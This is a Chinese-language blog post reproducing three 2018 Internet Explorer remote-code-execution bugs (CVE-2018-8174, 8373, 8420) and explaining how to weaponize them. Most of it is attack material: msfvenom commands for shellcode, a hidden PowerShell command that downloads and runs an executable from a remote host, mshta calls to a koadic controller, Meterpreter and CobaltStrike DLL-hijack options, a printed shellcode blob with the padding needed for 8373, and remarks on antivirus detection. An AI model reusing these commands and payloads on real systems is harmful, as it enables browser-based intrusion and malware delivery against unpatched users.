对 2018 年几个IE漏洞的复现与说明,之前复现的时候在仓库的文档中简单的说明了一下,以下是这几个漏洞的复现报告与一些基本的利用方法,这些漏洞或多或少都出现在 APT 攻击中,特别是 CVE-2018-8174 又称"双杀"漏洞而 8373 又被 Darkhotel 组织利用.

img

以上对这三个漏洞进行复现, Poc 下载地址:

https://github.com/B1eed/VulRec

CVE-2018-8174

首先CVE-8174-8174的原 PoC 中定义了一个Getshellcode函数,此函数为漏洞利用的核心函数,其功能使用JS Unescape函数对escape函数编码的字符串进行解码。

其中解码的内容为 Shellcode

img

利用方法为 Msf 生成 shellcode 填充或使用自己的 shellcode 填充

Msf 命令如下:

msfvenom -p windows/exec cmd=calc.exe -f js_le exitfunc=thread -a x86

生成弹出计算器的 shellcode 然后填充到 Getshellcode 函数中

填充完后使用IE打开,成功弹出计算器。

img

则可使用以下几种方式

1、koadic 远控 mshta 功能反弹 shell

msfvenom -p windows/exec cmd="mshta koadic生成的地址" -f js_le exitfunc=thread

x64 位的:

msfvenom -p windows/x64/exec cmd="mshta koadic生成的地址" -f js_le exitfunc=thread

2、Powershell 下载执行

msfvenom -p windows/exec cmd="powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://xxx.xx.com/1.exe','C:\Windows\Tasks\23.exe');start-process " -f js_le exitfunc=thread

3、使用MSF web_delivery 模块反弹(本质还是 Powershell)

img

4、当然还可以生成 Meterperter 的 shellcode 填充

建议使用 stage payload,stage 可以理解为将原来的全部攻击代码进行拆分,stage 先进行第一阶段的利用进行目标后再把剩余的 shellcode 加载过来, stage 的 payload 相对于原来较小

5、自己提取 shellcode 然后进行填充测试

填充自己的下载执行 sc 成功下载执行木马

img

特别的利用方法

可以使用msdtc的 Dll 劫持漏洞,用CobaltStrike生成恶意 Dll,然后下载到C:\windows\system32 目录下 DLL 名称为oci.dll,使用msdtc服务来加载.

双杀的利用方法

使用 CVE-2017-0199 的 OLE autolink 漏洞利用方式嵌入恶意网页

这两个漏洞结合即为双杀

CVE-2018-8373

CVE-2018-8373此漏洞与8174虽然是兄弟漏洞但Poc Getshellcode函数处要进行稍微的修改,否则无法进行利用

要保留原 Poc Getshellcode函数中如下字符串

此说明在仓库中有提示,刚开始复现以为触发点一样于是直接覆盖填充导致复现失败

于是通过对比发现要保留如下字符串且将生成的 shellcode 填充在前面

%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc

后面的方式与 8174 相同,仓库中放置了两个 Poc 一个是 IE9 命令执行的,无需做过多修改只需修改要执行的命令即可

img

成功弹出计算器

img

img

IE11 弹计算器,用MSF生成的以下

Shellcode+%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc

%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%u1de0%u0a2a%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc

img

利用方法与8174一致参考即可, 复现中使用从微软官方下载的 IE11 也存在漏洞

CVE-2018-8420

此漏洞为 Microsoft.XMLDOM 引起的漏洞可导致远程代码执行

vbs 文件与 html 文件皆可触发,即可以用IE浏览器触发,且漏洞影响范围较广

Win7-Windows 10 Version 1803 都受影响,利用方式较为简单

修改 Poc 中xml.xml中调用WScript.Shell执行命令的位置即可

img

访问成功弹出计算器

img

既然可以执行命令,则可以调用 Powershell 远程下载文件等操作,具体参考上文, 目前测试安全软件8174查杀较为厉害而8373被 19 款杀毒软件查杀

img

我是 1x2Bytes, 一个信安爱好者,对 APT 技术感兴趣, 欢迎加入信安之路红蓝对抗小组,一起研究技术,共同成长。